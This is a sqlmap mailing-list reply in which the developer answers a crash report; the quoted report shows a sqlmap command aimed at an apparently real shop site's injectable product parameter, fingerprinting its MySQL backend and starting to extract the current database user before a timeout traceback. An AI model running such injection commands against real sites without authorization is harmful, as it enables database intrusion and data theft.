Re: [sqlmap-users] unhandled exception on --current-user

[Miroslav S. <mir...@gm...>]

Hi.

Thank you for your report. Please update to the latest development version
to have it "patched".
(svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev)

Kind regards.

2010/5/25 Vinícius K-Max <vin...@gm...>

> MacBook:sqlmap mac$ ./sqlmap.py -u "
> http://lojasexxxy.com.br/produtos_descricao.asp?lang=pt_BR&codigo_produto=128"
> --current-user
>
>     sqlmap/0.8 - automatic SQL injection and database takeover tool
>     http://sqlmap.sourceforge.net
>
> [*] starting at: 21:04:31
>
> [21:04:32] [INFO] using '/Users/mac/Desktop/pentest/sqlmap/output/
> lojasexxxy.com.br/session' as session file
> [21:04:32] [INFO] resuming match ratio '0.9' from session file
> [21:04:32] [INFO] resuming injection point 'GET' from session file
> [21:04:32] [INFO] resuming injection parameter 'codigo_produto' from
> session file
> [21:04:32] [INFO] resuming injection type 'numeric' from session file
> [21:04:32] [INFO] resuming 0 number of parenthesis from session file
> [21:04:32] [INFO] resuming back-end DBMS 'mysql 4' from session file
> [21:04:32] [INFO] resuming back-end DBMS operating system 'None' from
> session file
> [21:04:32] [INFO] resuming back-end DBMS operating system 'None' from
> session file
> [21:04:32] [INFO] testing connection to the target url
> [21:04:35] [INFO] testing for parenthesis on injectable parameter
> [21:04:35] [INFO] the back-end DBMS is MySQL
> web server operating system: Windows 2000
> web application technology: ASP.NET, Microsoft IIS 6.0, ASP
> back-end DBMS: MySQL 4
>
> [21:04:35] [INFO] fetching current user
> [21:04:35] [INFO] retrieved: lojas[21:11:14] [ERROR] unhandled exception in
> sqlmap/0.8, please copy the command line and the following text and send by
> e-mail to sql...@li.... The developer will fix it as
> soon as possible:
> sqlmap version: 0.8
> Python version: 2.6.1
> Operating system: darwin
> Traceback (most recent call last):
>   File "./sqlmap.py", line 77, in main
>     start()
>   File "/Users/mac/Desktop/pentest/sqlmap/lib/controller/controller.py",
> line 259, in start
>     action()
>   File "/Users/mac/Desktop/pentest/sqlmap/lib/controller/action.py", line
> 85, in action
>     dumper.string("current user", conf.dbmsHandler.getCurrentUser())
>   File "/Users/mac/Desktop/pentest/sqlmap/plugins/generic/enumeration.py",
> line 135, in getCurrentUser
>     kb.data.currentUser = inject.getValue(query)
>   File "/Users/mac/Desktop/pentest/sqlmap/lib/request/inject.py", line 373,
> in getValue
>     value = __goInferenceProxy(expression, fromUser, expected, batch,
> resumeValue, unpack, charsetType, firstChar, lastChar)
>   File "/Users/mac/Desktop/pentest/sqlmap/lib/request/inject.py", line 303,
> in __goInferenceProxy
>     outputs = __goInferenceFields(expression, expressionFields,
> expressionFieldsList, payload, expected, resumeValue=resumeValue,
> charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
>   File "/Users/mac/Desktop/pentest/sqlmap/lib/request/inject.py", line 95,
> in __goInferenceFields
>     output = __goInference(payload, expressionReplaced, charsetType,
> firstChar, lastChar)
>   File "/Users/mac/Desktop/pentest/sqlmap/lib/request/inject.py", line 55,
> in __goInference
>     count, value = bisection(payload, expression, length, charsetType,
> firstChar, lastChar)
>   File
> "/Users/mac/Desktop/pentest/sqlmap/lib/techniques/blind/inference.py", line
> 281, in bisection
>     val       = getChar(index, asciiTbl)
>   File
> "/Users/mac/Desktop/pentest/sqlmap/lib/techniques/blind/inference.py", line
> 125, in getChar
>     result        = Request.queryPage(forgedPayload)
>   File "/Users/mac/Desktop/pentest/sqlmap/lib/request/connect.py", line
> 282, in queryPage
>     page, headers = Connect.getPage(get=get, post=post, cookie=cookie,
> ua=ua, silent=silent)
>   File "/Users/mac/Desktop/pentest/sqlmap/lib/request/connect.py", line
> 179, in getPage
>     page = e.read()
>   File
> "/System/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/socket.py",
> line 327, in read
>     data = self._sock.recv(rbufsize)
>   File
> "/System/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/httplib.py",
> line 537, in read
>     s = self.fp.read(amt)
>   File
> "/System/Library/Frameworks/Python.framework/Versions/2.6/lib/python2.6/socket.py",
> line 351, in read
>     data = self._sock.recv(left)
> timeout: timed out
>
> [*] shutting down at: 21:11:15
>
>
>
> ------------------------------------------------------------------------------
>
>
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Miroslav Stampar

E-mail / Jabber: miroslav.stampar (at) gmail.com
Mobile: +385921010204 (HR 0921010204)
PGP Key ID: 0xB5397B1B